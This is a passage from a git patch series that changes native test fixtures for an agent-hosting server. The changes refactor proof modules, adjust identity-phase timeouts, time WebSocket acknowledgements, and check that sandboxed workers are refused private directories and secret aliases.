"test-network-child-preload.ts", "workspace-lease.mjs"]) { copyFileSync(join(project, "scripts", name), join(root, "scripts", name)); } copyFileSync(join(project, "packages/core/tests/cli-harness.ts"), join(root, "packages/core/tests/cli-harness.ts")); From 566ebd75c65e9792a7761d31db9630aead53846e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 09:29:43 +0000 Subject: [PATCH 128/187] test: observe real stage lifetimes and measure product-only acknowledgements --- .../fixtures/prepared-consumer-native-root.ts | 3 +- .../tests/fixtures/server-host-relay-probe.ts | 11 +- .../fixtures/ordinary-identity-phases.ts | 4 + .../tests/fixtures/ordinary-identity-root.ts | 15 +- .../tests/fixtures/ordinary-identity-ws.ts | 35 ++--- .../maintenance-index-refusals.native.ts | 4 + .../maintenance-stage-provenance.native.ts | 16 ++- .../ui-sdk/tests/private-git-inputs.native.ts | 5 +- .../private-publication-transition.native.ts | 12 +- .../fixture-preparation.native.ts | 135 ++++++++++++++++++ scripts/native-proof/hosted-app-child.ts | 4 +- scripts/native-proof/hosted-app.test.ts | 5 +- .../native-proof/identity-manager.native.ts | 30 +++- scripts/native-proof/reference-efficiency.ts | 8 +- .../reference-integration.native.ts | 3 +- scripts/native-proof/reference-pool.native.ts | 4 +- .../native-proof/schedule-folder-admission.ts | 3 +- scripts/native-proof/stage-metadata.native.ts | 59 ++++++++ scripts/prove-worker-identity.ts | 12 +- 19 files changed, 310 insertions(+), 58 deletions(-) create mode 100644 scripts/native-proof/fixture-preparation.native.ts create mode 100644 scripts/native-proof/stage-metadata.native.ts diff --git a/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts b/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts index 088733603b..0bda7e7be8 100644 --- a/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts +++ b/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts @@ -1,8 +1,9 @@ +import {serveNativeFixtureBrainManager as serveNativeBrainManager} from '../../../../tests/helpers/native-stage-metadata-fixture'; import { watchdogMs } from "../../../../scripts/test-deadlines"; import { expect } from "bun:test"; import { chmodSync, chownSync, mkdirSync, writeFileSync } from "node:fs"; import { join } from "node:path"; -import { serveNativeBrainManager } from "../../../ui-sdk/src/server/native-brain-manager.js"; + import { hostOutputStagingLimits } from "../../../ui-sdk/src/server/worker-state-limits.js"; const brain = "/brain-fixture/brain"; function command(argv: string[]) { diff --git a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts index 450b8b001a..6605f624b6 100644 --- a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts @@ -1,3 +1,4 @@ +import {observeNativeProofStages} from "../../../../tests/helpers/native-managed-proof"; import { recordNativeRelayTurn } from "../helpers/native-relay-turn-diagnostic.js"; import { watchdogMs } from "../../../../scripts/test-deadlines.ts"; import { nativeFixtureDirectory } from "../../../../scripts/test-native-guard.ts"; @@ -157,12 +158,14 @@ let model = "claude-haiku-4-5"; let activeView: Awaited> | undefined; let releaseFailures = 0; const cleanupFailures: string[] = []; +const closeFixtureStages=managed?observeNativeProofStages():undefined; const actualManager = managed ? createNativeBrainManagerClient({ socketPath: mode === "cleanup-failure" ? "/native-runtime/prepared-consumer-cleanup-manager.sock" : "/native-runtime/prepared-consumer-manager.sock" }) : undefined; -const manager = actualManager ? { ...actualManager, async release(...args: Parameters) { - const result = await actualManager.release(...args); +const releaseActual=actualManager?.release.bind(actualManager); +const manager = actualManager ? Object.assign(actualManager,{ async release(...args: Parameters) { + const result = await releaseActual!(...args); if (mode === "cleanup-failure" && releaseFailures++ === 0) throw Error("ODYSSEUS_NATIVE_RELEASE_REPLY_UNAVAILABLE"); return result; -} } : undefined; +} }) : undefined; const runner = createClaudeTurnRunner({ backend: { brainPath, queryFn: input => { const native = query(input); if (mode === "project-aba" || mode === "managed-aba" || mode === "cleanup-failure") { @@ -256,4 +259,4 @@ try { results: frames.filter(frame => frame.type === "result" || frame.type === "error"), observations: (db.query("SELECT session_id, model, record FROM observations").all() as Array<{ session_id: string; model: string; record: string }>).map(row => ({ sessionId: row.session_id, model: row.model, payload: JSON.parse(row.record) })), })); -} finally { Bun.spawn=originalSpawn;globalThis.fetch = nativeFetch; provider.stop(true); db.close(); rmSync(root, { recursive: true, force: true }); } +} finally { closeFixtureStages?.();Bun.spawn=originalSpawn;globalThis.fetch = nativeFetch; provider.stop(true); db.close(); rmSync(root, { recursive: true, force: true }); } diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-phases.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-phases.ts index f756eddd31..42bbee1520 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-phases.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-phases.ts @@ -2,6 +2,10 @@ import { APPLICATION_QUALIFICATION_PHASES, APPLICATION_SCENARIOS } from "./appli import { DEFAULT_IDENTITY_PHASES } from "./default-identity-phases.js"; export const IDENTITY_PHASE_TIMEOUT_MS = 90_000; +/** Fixture catch-alls: controls measured 318.6 s, fresh 151-185 s, warm 393.8 s. */ +export function ordinaryIdentityPhaseTimeoutMs(phase:string|undefined):number { + return phase==="controls"?900_000:phase==="fresh"?600_000:phase==="warm"?1_200_000:IDENTITY_PHASE_TIMEOUT_MS; +} export const IDENTITY_CLEANUP_TIMEOUT_MS = 5_000; /** The parent budget and native launcher use the same existing phase selection. */ diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts index 0b9c2c12cd..4a1bddd1a0 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts @@ -1,15 +1,16 @@ +import {serveNativeFixtureBrainManager as serveNativeBrainManager} from '../../../../tests/helpers/native-stage-metadata-fixture'; import {withNativeProofStages} from "../../../../tests/helpers/native-managed-proof"; import { watchdogMs } from "../../../../scripts/test-deadlines"; import { writePrivateProofArtifact } from "./private-proof-artifact.js"; import { PRIVATE_FIXTURE_DIRECTORY_ACCESS } from "./private-fixture-directory-access.js"; import { defaultIdentityPhase } from "./default-identity-phases.js"; import { applicationQualificationScenario } from "./application-qualification.js"; -import { ordinaryIdentityPhases, IDENTITY_PHASE_TIMEOUT_MS, IDENTITY_CLEANUP_TIMEOUT_MS } from "./ordinary-identity-phases.js"; +import { ordinaryIdentityPhases, ordinaryIdentityPhaseTimeoutMs, IDENTITY_CLEANUP_TIMEOUT_MS } from "./ordinary-identity-phases.js"; import { retainFixtureStream } from "./retained-stream.js"; import { expect } from "bun:test"; import { chmodSync, chownSync, mkdirSync, writeFileSync, existsSync, readdirSync, readFileSync, lstatSync } from "node:fs"; import { join } from "node:path"; -import { serveNativeBrainManager } from "../../../ui-sdk/src/server/native-brain-manager.js"; + import { hostOutputStagingLimits } from "../../../ui-sdk/src/server/worker-state-limits.js"; const brain = "/brain-fixture/brain"; const sharedGit = process.argv.includes("--shared-git"); @@ -28,7 +29,7 @@ function command(argv: string[]) { expect(child.exitCode, child.stderr.toString()).toBe(0); return child.stdout.toString(); } if (process.argv[2] === "--index-child") { - await withNativeProofStages(brain,()=>import("../maintenance-index-refusals.native.js")); + await withNativeProofStages(brain,async()=>{await (await import("../maintenance-index-refusals.native.js")).proveMaintenanceIndexRefusals();}); } else if (process.argv[2] === "--child") { expect(process.getuid!()).toBe(21001); const childStarted = performance.now(); @@ -95,14 +96,14 @@ if (process.argv[2] === "--index-child") { } childStage("identity-probe:done"); await withNativeProofStages(brain,async()=>{ - if (!sharedGit && (!defaultPhase || defaultPhase === "controls")) await import("../private-publication-transition.native.js"); + if (!sharedGit && (!defaultPhase || defaultPhase === "controls")) await (await import("../private-publication-transition.native.js")).provePrivatePublicationTransition(); if (defaultPhase === "controls") { const { captureMaintenanceStage } = await import("../maintenance-stage-provenance.native.js"); await captureMaintenanceStage(brain); } if (privateGitInputs && (!sharedPhase || sharedPhase === "private" || sharedPhase === "private-positive")) { childStage("private-inputs:start"); - await import("../private-git-inputs.native.js" + (sharedPhase === "private-positive" ? "?positive-only=1" : "")); + await (await import("../private-git-inputs.native.js")).provePrivateGitInputs(sharedPhase === "private-positive"); childStage("private-inputs:done"); } if (sharedPhase === "fresh-controls" || sharedPhase === "fresh-git") { @@ -217,7 +218,7 @@ if (process.argv[2] === "--index-child") { const started = performance.now(); const child = Bun.spawn(["/usr/bin/setpriv", "--reuid=21001", "--regid=21001", "--groups=21003", process.execPath, "--preload", "/repo/scripts/test-network-child-preload.ts", import.meta.filename, process.argv[2] === "--index-controls" ? "--index-child" : "--child", ...(sharedGit ? ["--shared-git"] : []), ...(omitProbeStatePlacement ? ["--omit-probe-state-placement"] : []), ...(privateGitInputs ? ["--private-git-inputs"] : []), ...(bootPruneCapture ? ["--boot-prune-capture"] : []), ...(applicationScenario === "db-repeat" && phase === "warm" ? ["--db-repeat-index"] : []), ...(phase ? [sharedGit ? `--shared-phase=${phase}` : `--default-phase=${phase}`] : [])], { - env: { PATH: "/usr/local/bin:/usr/bin:/bin", HOME: "/identity-server-private", BRAIN_UI_WORKER_IDENTITY_HELPER: "/usr/local/bin/identity-helper" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(IDENTITY_PHASE_TIMEOUT_MS) }); + env: { PATH: "/usr/local/bin:/usr/bin:/bin", HOME: "/identity-server-private", BRAIN_UI_WORKER_IDENTITY_HELPER: "/usr/local/bin/identity-helper" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(ordinaryIdentityPhaseTimeoutMs(phase)) }); const [capturedOutput, capturedErrors, code] = await Promise.all([ phase ? retainFixtureStream(child.stdout, `/proof/${sharedGit ? "shared-git" : "default"}-${phase}-server.stdout`) : new Response(child.stdout).text().then((text): Awaited> => ({ text })), phase ? retainFixtureStream(child.stderr, `/proof/${sharedGit ? "shared-git" : "default"}-${phase}-server.stderr`) : new Response(child.stderr).text().then((text): Awaited> => ({ text })), child.exited]); @@ -247,7 +248,7 @@ if (process.argv[2] === "--index-child") { console.log(JSON.stringify(receipt)); } console.log(JSON.stringify({ foreignProbeRequests: foreignRequests })); - expect(code, errors).toBe(0); expect(foreignRequests, "FOREIGN_PROBE_LISTENER_NEVER_CONTACTED").toBe(0); console.log(output); + expect(code, errors).toBe(0);if(phase==="controls")expect(output,"PRIVATE_PUBLICATION_CONTROL_EXECUTED_IN_SCOPE").toContain('"strictPrivatePublicationMaintenance"'); expect(foreignRequests, "FOREIGN_PROBE_LISTENER_NEVER_CONTACTED").toBe(0); console.log(output); } } finally { foreign.stop(true); for (const relay of restrictedRelays) relay.stop(true); await service.close(); diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts index 9c00989c72..89ac683b8a 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts @@ -1,15 +1,15 @@ -import {nativeFixtureTurnDataTree,registerNativeFixtureManagedKeeper} from "../../../../scripts/test-native-guard.ts"; +import {nativeFixtureGuardTiming,nativeFixtureFindingCounts,nativeFixtureSetupCounts} from "../../../../scripts/test-native-guard"; +import "../../../../scripts/test-network-child-preload.ts"; +import {observeNativeProofStages} from "../../../../tests/helpers/native-managed-proof"; +import {nativeFixtureTurnDataTree} from "../../../../scripts/test-native-guard.ts"; import { watchdogMs } from "../../../../scripts/test-deadlines"; import { captureNativeReceipts } from "../../../../scripts/native-test-receipts.ts"; -import "../../../../scripts/test-network-child-preload.ts"; import { query } from "@anthropic-ai/claude-agent-sdk"; import { defaultIdentityPhase } from "./default-identity-phases.js"; import { installDbRepeatObservation, repeatWarmIndex } from "./db-repeat-observation.js"; import { installBootPruneCapture } from "./boot-prune-capture.js"; /** Real managed-server admission and native SDK turn; explicit fictional API profile. */ -import { expect,spyOn } from "bun:test"; -import {AsyncLocalStorage} from "node:async_hooks"; -import * as nativeOutput from "../../src/server/worker-native-output.js"; +import { expect } from "bun:test"; import { lstatSync, mkdirSync, statSync, readdirSync, readFileSync, existsSync } from "node:fs"; import { dirname, join } from "node:path"; import { createApp } from "../../../ui-server/src/app.js"; @@ -87,13 +87,7 @@ const backend = createClaudeBackend({ brainPath: brain, queryFn: nativeScriptedQ requiredEnvKeys: [], model: "claude-haiku-4-5", buildEnv: () => ({ ANTHROPIC_BASE_URL: provider.url.origin, ANTHROPIC_API_KEY: "odysseus-fictional-api-key", HOME: home, CLAUDE_CONFIG_DIR: config, PATH: "/usr/local/bin:/usr/bin:/bin", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1" }) }], log() {} }); -const turnKeeperRegistrations=new AsyncLocalStoragevoid>>(); -const prepareNativeOutput=nativeOutput.prepareNativeWorkerOutput; -spyOn(nativeOutput,"prepareNativeWorkerOutput").mockImplementation(async(brain,options)=>{ - const output=await prepareNativeOutput(brain,options),registrations=turnKeeperRegistrations.getStore(); - if(registrations)try{registrations.add(await registerNativeFixtureManagedKeeper(output.output.storage,options.startupView,options.areas??[]));}catch(error){await output.cleanup();throw error;} - return output; -}); +const closeFixtureManagers=observeNativeProofStages(); const backendProfiles: Array = []; const admissionReads: Array[0]["bridge"]["admissionSafety"]>["read"]>> = []; const observedBackend = { ...backend, async startTurn(request: Parameters[0]) { @@ -119,8 +113,7 @@ const observedBackend = { ...backend, async startTurn(request: Parametersvoid>(); - try{return await turnKeeperRegistrations.run(registrations,()=>backend.startTurn(request));}finally{for(const release of registrations)release();leave?.();} + try{return await backend.startTurn(request);}finally{leave?.();} } }; const observability = createRecordingObservability(), secret = "odysseus-fixture-cookie-secret-0123456789"; let app: Awaited> | undefined; @@ -235,12 +228,22 @@ try { const NativeWebSocket = WebSocket as unknown as { new(url: string, options: { headers: Record }): WebSocket }; stage("ws:start"); socket = new NativeWebSocket(`ws://127.0.0.1:${server.port}/ws`, { headers: { cookie, origin: `http://127.0.0.1:${server.port}` } }); - socket.addEventListener("message", event => frames.push(JSON.parse(String(event.data)))); + let submittedAt:number|undefined,nativeAckMs:number|undefined,acknowledgedAt:number|undefined; + socket.addEventListener("message",event=>{const frame=JSON.parse(String(event.data));frames.push(frame);if(submittedAt!==undefined&&frame.type==="session_info"&&frame.requestId==="ithaca-ordinary"&&nativeAckMs===undefined){acknowledgedAt=performance.now();nativeAckMs=acknowledgedAt-submittedAt;}}); await until(() => frames.some(frame => frame.type === "server_hello"), "REAL_SERVER_HELLO"); socket.send(JSON.stringify({ type: "client_hello", protocolRev: 3, capabilities: { followUpQueue: true } })); + submittedAt=performance.now(); socket.send(JSON.stringify({ type: "chat_message", text: "Plan the return to Ithaca.", providerId: "odysseus-haiku", requestId: "ithaca-ordinary" })); await until(() => frames.some(frame => frame.type === "result" || frame.type === "error"), "REAL_SERVER_NATIVE_TERMINAL"); await until(() => !app!.wsHost.coordinator.isTurnActive(), "REAL_SERVER_RELEASED_TURN"); + expect(nativeAckMs,"ACTUAL_NATIVE_MANAGED_ACK_OBSERVED").toBeDefined(); + // Product timing excludes only the union of the guard's own closed-list + // intervals inside this exact submit/ack window. Product work is never timed + // as guard work. See docs/process/testing.md#watchdogs-and-product-timings. + const timing=nativeFixtureGuardTiming(submittedAt!,acknowledgedAt!); + console.log(JSON.stringify({actualNativeManagedAck:{profile,warm,...timing,findings:nativeFixtureFindingCounts(),setup:nativeFixtureSetupCounts(),budgetMs:10_000,rawWatchdogMs:30_000}})); + expect(timing.rawMs,"ACTUAL_NATIVE_MANAGED_ACK_RAW_WATCHDOG").toBeLessThan(30_000); + expect(timing.productMs,"ACTUAL_NATIVE_MANAGED_ACK_WITHIN_10_SECONDS").toBeLessThan(10_000); const admittedProfiles = app.db.query("SELECT profile FROM turn_governance_policy").all(); expect(admittedProfiles, "ACTUAL_MANAGED_WS_SELECTED_PROFILE").toEqual(Array.from({ length: warm ? 2 : 1 }, () => ({ profile }))); expect(backendProfiles, "ACTUAL_MANAGED_WS_BACKEND_SANDBOX").toEqual([profile]); @@ -279,4 +282,4 @@ try { console.log(JSON.stringify({ actualMaintenanceFinalDiagnostics: observability.logs.records().filter(log => String(log.body).includes("version probe failed") || String(log.body).includes("scratch prune failed")).map(log => ({ body: log.body, attributes: log.attributes })) })); if (sharedGit) expect(observability.logs.records().filter(log => String(log.body).includes("version probe failed") || String(log.body).includes("scratch prune failed")), "SHARED_GIT_FRESH_WARM_CLI_SCRATCH_DIAGNOSTICS_CLEAN").toEqual([]); - } finally { try { dbObservation?.restore(); } finally { try { ownedBootPrune?.restore(); } finally { Object.defineProperty(Bun, "spawn", spawnDescriptor); } } } } + } finally { try { dbObservation?.restore(); } finally { try { ownedBootPrune?.restore(); } finally { Object.defineProperty(Bun, "spawn", spawnDescriptor);closeFixtureManagers(); } } } } diff --git a/packages/ui-sdk/tests/maintenance-index-refusals.native.ts b/packages/ui-sdk/tests/maintenance-index-refusals.native.ts index e47052144a..374701a8d1 100644 --- a/packages/ui-sdk/tests/maintenance-index-refusals.native.ts +++ b/packages/ui-sdk/tests/maintenance-index-refusals.native.ts @@ -7,6 +7,7 @@ import { prepareNativeWorkerStartupView } from "../src/server/worker-startup-vie import { prepareNativeWorkerOutput } from "../src/server/worker-native-output.js"; import { prepareMaintenanceGitInput, prepareMaintenanceWorker, runMaintenanceWorker, type MaintenanceCommand } from "../src/server/maintenance-worker.js"; import { probeWorkerHost } from "../src/server/worker-launcher.js"; +export async function proveMaintenanceIndexRefusals():Promise{ const brain = "/brain-fixture/brain"; if (process.getuid?.() !== 21001) throw Error("Disposable native index fixture requires its server UID"); const probe = probeWorkerHost(brain, { profile: "governed", stateBytes: 1024 ** 2, turnTempBytes: 1024 ** 2 }); @@ -72,3 +73,6 @@ if k=="super-journal":open(p+"-journal","wb").write(bytes(56)+(56).to_bytes(4,"b } } for (const suffix of ["", "-wal", "-shm", "-journal"]) rmSync(`${brain}/.brain-index/brain.db${suffix}`, { force: true }); + +} +if(import.meta.main)await proveMaintenanceIndexRefusals(); diff --git a/packages/ui-sdk/tests/maintenance-stage-provenance.native.ts b/packages/ui-sdk/tests/maintenance-stage-provenance.native.ts index 42172b8eb4..4ad360d026 100644 --- a/packages/ui-sdk/tests/maintenance-stage-provenance.native.ts +++ b/packages/ui-sdk/tests/maintenance-stage-provenance.native.ts @@ -16,9 +16,11 @@ export async function captureMaintenanceStage(brain: string) { if (!probe.ok) throw Error(`MAINTENANCE_STAGE_REAL_IDENTITY_PROBE_REFUSED: ${probe.requirement}`); const client = createNativeBrainManagerClient({ socketPath: "/native-runtime/server-ws-manager.sock" }); let stage: NativeStage | undefined; - const manager = { ...client, async prepareStage(...args: Parameters) { - stage = await client.prepareStage(...args); return stage; - } }; + // Observe the real client in place so its pinned fixture identity survives. + const manager = client, prepareStage = client.prepareStage.bind(client); + manager.prepareStage = async (...args: Parameters) => { + stage = await prepareStage(...args); return stage; + }; const aliases = [".env.relative-proof", ".env.absolute-proof", ".env.parent-proof"]; const secretRoot = `${brain}/odysseus-mask-proof`; mkdirSync(secretRoot, { mode: 0o755 }); mkdirSync(`${secretRoot}/actual`, { mode: 0o755 }); @@ -79,7 +81,7 @@ print(json.dumps(r)) `] }); expect(gitTopology.exitCode, "ACTUAL_STAGE_GIT_TOPOLOGY_OBSERVED").toBe(0); console.log(JSON.stringify({ actualStageGitTopology: JSON.parse(gitTopology.stdout) })); - const refusedBeforePayload = async (label: string, action: () => unknown | Promise) => { + const refusedBeforePayload = async (label: string, action: () => unknown | Promise, message?: string) => { const descriptor = Object.getOwnPropertyDescriptor(Bun, "spawn")!, original = Bun.spawn; let payload = false; Object.defineProperty(Bun, "spawn", { ...descriptor, value: (...args: any[]) => { @@ -90,7 +92,7 @@ print(json.dumps(r)) try { let refusal: unknown; try { await action(); } catch (error) { refusal = error; } - expect(refusal, label).toBeDefined(); expect(payload, `${label}_BEFORE_PAYLOAD`).toBe(false); + expect(refusal, label).toBeDefined();if(message)expect(String(refusal), `${label}_PRODUCT_CAUSE`).toBe("Error: "+message); expect(payload, `${label}_BEFORE_PAYLOAD`).toBe(false); } finally { Object.defineProperty(Bun, "spawn", descriptor); } console.log(JSON.stringify({ nativeMaintenanceRefusal: label, beforePayload: true })); }; @@ -101,7 +103,7 @@ print(json.dumps(r)) const stale = base(); await prepareMaintenanceWorker(stale); expect((await runMaintenanceWorker({ ...base(), command: ["/bin/sh", "-c", 'printf unpublished > "$BRAIN_ROOT/.brain-maintenance-unpublished"'] })).exitCode, "FRESH_NATIVE_MAINTENANCE_COMMAND").toBe(0); - await refusedBeforePayload("STALE_NATIVE_MAINTENANCE_GENERATION", () => launchMaintenanceWorker(stale)); + await refusedBeforePayload("STALE_NATIVE_MAINTENANCE_GENERATION", () => launchMaintenanceWorker(stale), "native maintenance command changed after mask preparation"); const changed = base(); await prepareMaintenanceWorker(changed); changed.command = ["/bin/false"]; await refusedBeforePayload("CHANGED_NATIVE_MAINTENANCE_COMMAND", () => launchMaintenanceWorker(changed)); const replay = base(); await prepareMaintenanceWorker(replay); @@ -165,7 +167,7 @@ print(json.dumps(r)) const listenerCode = String.raw` import json,os,socket,struct,sys s=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM) -s.settimeout(15) +s.settimeout(120) s.bind(sys.argv[1]); os.chmod(sys.argv[1],0o660) s.listen(1) open(sys.argv[2],"w").close() diff --git a/packages/ui-sdk/tests/private-git-inputs.native.ts b/packages/ui-sdk/tests/private-git-inputs.native.ts index adcd8a4605..aafc366129 100644 --- a/packages/ui-sdk/tests/private-git-inputs.native.ts +++ b/packages/ui-sdk/tests/private-git-inputs.native.ts @@ -9,7 +9,7 @@ import { prepareMaintenanceOutput } from "../../ui-server/src/brain/maintenance- import { prepareMaintenanceGit } from "../../ui-server/src/brain/maintenance-git.js"; import { createHostBoundary } from "../../ui-server/src/brain/host-boundary.js"; import type { MaintenanceCommand } from "../src/server/maintenance-worker.js"; -const positiveOnly = new URL(import.meta.url).searchParams.has("positive-only"); +export async function provePrivateGitInputs(positiveOnly = false):Promise{ const started = performance.now(); const observe = (phase: string) => console.log(JSON.stringify({ privateGitPhase: phase, elapsedMs: performance.now() - started })); observe("module-loaded"); @@ -135,3 +135,6 @@ for (const kind of ["zero-attribute", "zero-directory", "attribute-alias", "fore } if (positiveOnly) console.log(JSON.stringify({ privateGitQualificationScope: "positive-setup-only", skippedRefusalControls: 6 })); console.log(JSON.stringify({ actualPrivateGitSources: { uid: 21002, serverReadDenied: true, attributePolicy: "ithaca", repositoryHookExecuted: true } })); + +} +if(import.meta.main)await provePrivateGitInputs(); diff --git a/packages/ui-sdk/tests/private-publication-transition.native.ts b/packages/ui-sdk/tests/private-publication-transition.native.ts index ba09654936..a17a3c9305 100644 --- a/packages/ui-sdk/tests/private-publication-transition.native.ts +++ b/packages/ui-sdk/tests/private-publication-transition.native.ts @@ -4,12 +4,13 @@ import { lstatSync, mkdirSync, readFileSync, readdirSync, rmdirSync, symlinkSync import { Readable } from "node:stream"; import { createNativeBrainManagerClient } from "../src/server/native-brain-manager-client.js"; import { prepareNativeWorkerStartupView } from "../src/server/worker-startup-view.js"; -import { launchAgentWorker } from "../src/server/worker-launcher.js"; +import { launchAgentWorker, verifiedWorkerIdentity } from "../src/server/worker-launcher.js"; import type { MaintenanceCommand } from "../src/server/maintenance-worker.js"; import { prepareMaintenanceOutput } from "../../ui-server/src/brain/maintenance-output.js"; import { createRecordingLoggerProvider } from "../../ui-server/src/observability/loggers.js"; import { prepareMaintenanceGit, privateGitSources } from "../../ui-server/src/brain/maintenance-git.js"; +export async function provePrivatePublicationTransition():Promise{ const brain = "/brain-fixture/brain", directory = `${brain}/.brain/scratch/private`, file = `${directory}/result.md`; const text = "Odysseus private stage publication", policy = "*.md odysseus=ithaca\n", sentinel = "Odysseus private server sentinel"; if (process.getuid?.() !== 21001 || process.env.BRAIN_UI_WORKER_IDENTITY_HELPER !== "/usr/local/bin/identity-helper") @@ -70,7 +71,13 @@ async function collect() { validate(); // Positive: the worker withholds the server-owned private directory, and the // server reads its policy under its own identity. Nothing is retired. +const cacheBefore = verifiedWorkerIdentity(brain); +expect(cacheBefore, "PRODUCT_CACHE_EMPTY_AFTER_DELIBERATE_FAILED_PROBES").toBeUndefined(); const positive = await collect(); +expect(verifiedWorkerIdentity(brain), "GUARD_REQUALIFICATION_NEVER_WARMS_PRODUCT_CACHE").toEqual(cacheBefore); +expect(String(positive.refused), "GUARD_REQUALIFICATION_NEXT_PRODUCT_DECISION_MATCHES_UNGUARDED") + .toBe("Error: Native private output requires a successfully qualified worker identity"); +console.log(JSON.stringify({guardQualificationCacheParity:"pass",productCache:"empty",nextDecision:"identity-required"})); expect(positive.collector, "STRICT_PRIVATE_PUBLICATION_WORKER_COLLECTOR_ACCEPTS").toEqual([]); expect(positive.owner, "STRICT_PRIVATE_PUBLICATION_OWNER_READ_ACCEPTS").toEqual([]); expect(String(positive.refused ?? ""), "STRICT_PRIVATE_PUBLICATION_GIT_SOURCES_FROZEN").not.toContain("Cannot freeze retained concrete Git sources"); @@ -137,3 +144,6 @@ validate(); console.log(JSON.stringify({ strictPrivatePublicationMaintenance: { serverOwner: 21001, directoryMode: 0o700, fileMode: 0o600, nodesRetained: 2, collectorWithheld: true, ownerRead: "accepted", frozenPolicy: "ithaca", refusals: ["foreign-worker-directory", "server-secret-alias"] } })); + +} +if(import.meta.main)await provePrivatePublicationTransition(); diff --git a/scripts/native-proof/fixture-preparation.native.ts b/scripts/native-proof/fixture-preparation.native.ts new file mode 100644 index 0000000000..5f6ed7f93c --- /dev/null +++ b/scripts/native-proof/fixture-preparation.native.ts @@ -0,0 +1,135 @@ +/** Real preparers and real stages; failures are isolated by the root proof caller. */ +import {expect,spyOn} from "bun:test"; +import * as fixtureFs from "node:fs"; +import {Database} from "bun:sqlite"; +import {chmodSync,mkdirSync,readFileSync,rmSync,writeFileSync} from "node:fs"; +import {join} from "node:path"; +import {createNativeBrainManagerClient} from "../../packages/ui-sdk/src/server/native-brain-manager-client"; +import {prepareNativeWorkerStartupView} from "../../packages/ui-sdk/src/server/worker-startup-view"; +import {prepareNativeWorkerOutput} from "../../packages/ui-sdk/src/server/worker-native-output"; +import {probeWorkerHost} from "../../packages/ui-sdk/src/server/worker-launcher"; +import {prepareMaintenanceWorker,prepareMaintenanceGitInput,runMaintenanceWorker,type MaintenanceCommand} from "../../packages/ui-sdk/src/server/maintenance-worker"; +import {nativeFixtureObserveWorkerSpawns,nativeGuardedBoundary,nativeWorkerBoundary,nativeFixtureManagerClient,registerNativeFixtureManagedKeeper} from "../test-native-guard"; +import {bundledClaudeBinary} from "../../packages/core/src/providers/agents/claude-binary"; +import {createNativeBrainLeaseManager} from "../../packages/ui-server/src/brain/native-brain-leases"; +import {withNativeProofStages,observeNativeProofStages} from "../../tests/helpers/native-managed-proof"; +const realPrepareNativeOutput=prepareNativeWorkerOutput; +export const preparationCases=["positive","mid-walk-write","nested-observer","stale-inspection","foreign","wrong-preparer","native-under-preparer","failed-preparation","actual-wrapper","copied-wrapper","closed-wrapper","raw-expired"] as const; +export async function proveFixturePreparation(mode:string,brain:string,socketPath:string):Promise{ + if(!preparationCases.includes(mode as typeof preparationCases[number]))throw Error("Unknown preparation proof"); + await withNativeProofStages(brain,async()=>{ + expect(probeWorkerHost(brain,{profile:"governed",stateBytes:1024**2,turnTempBytes:1024**2}).ok,"REAL_PREPARER_IDENTITY").toBe(true); + const opaque=join(brain,".brain/odysseus-preparation-private");mkdirSync(opaque,{mode:0o700});chmodSync(opaque,0o700);const gitDirectory=join(brain,".git");mkdirSync(gitDirectory);chmodSync(gitDirectory,0o755);for(const name of ["hooks","info","modules"]){mkdirSync(join(gitDirectory,name));chmodSync(join(gitDirectory,name),0o755);}writeFileSync(join(gitDirectory,"config"),"[core]\nrepositoryformatversion=0\n",{mode:0o644});chmodSync(join(gitDirectory,"config"),0o644);const index=join(brain,".brain-index");mkdirSync(index);chmodSync(index,0o2775);const db=new Database(join(index,"brain.db"));db.run("CREATE TABLE odysseus(value INTEGER)");db.close();chmodSync(join(index,"brain.db"),mode==="failed-preparation"?0o444:0o644); + let rawLive=true;const wrapperMode=["actual-wrapper","copied-wrapper","closed-wrapper","raw-expired"].includes(mode); + const progress=(stage:string)=>{if(wrapperMode)console.log(JSON.stringify({fixturePreparationStage:{mode,stage,at:performance.now()}}));}; + const raw=wrapperMode?nativeFixtureManagerClient({socketPath},()=>rawLive):createNativeBrainManagerClient({socketPath}); + const ledgerRoot=wrapperMode?join("/identity-fixture","odysseus-preparation-"+crypto.randomUUID()):undefined;if(ledgerRoot)mkdirSync(ledgerRoot,{mode:0o700}); + const ready=wrapperMode?await raw.ready():undefined; + const lease=ready?await createNativeBrainLeaseManager(raw,{statePath:join(ledgerRoot!,"leases.sqlite"),brainPath:brain,fsid:ready.fsid,brainUuid:ready.brainUuid}):undefined; + let leaseCloseCalls=0;if(lease){const close=lease.close.bind(lease);lease.close=()=>{leaseCloseCalls++;return close();};} + const manager=mode==="copied-wrapper"?{...lease!.client,__unobservedRaw:raw}:lease?.client??raw; + const view=await prepareNativeWorkerStartupView(brain,manager);progress("view-created"); + let recorded:ReturnType|undefined; + const stopRecording=nativeFixtureObserveWorkerSpawns(record=>{if(record.command.some(word=>word.endsWith("/maintenance-index-input.ts")))recorded=nativeGuardedBoundary(record.argv);}); + let midWalkIntercepted=false; + const 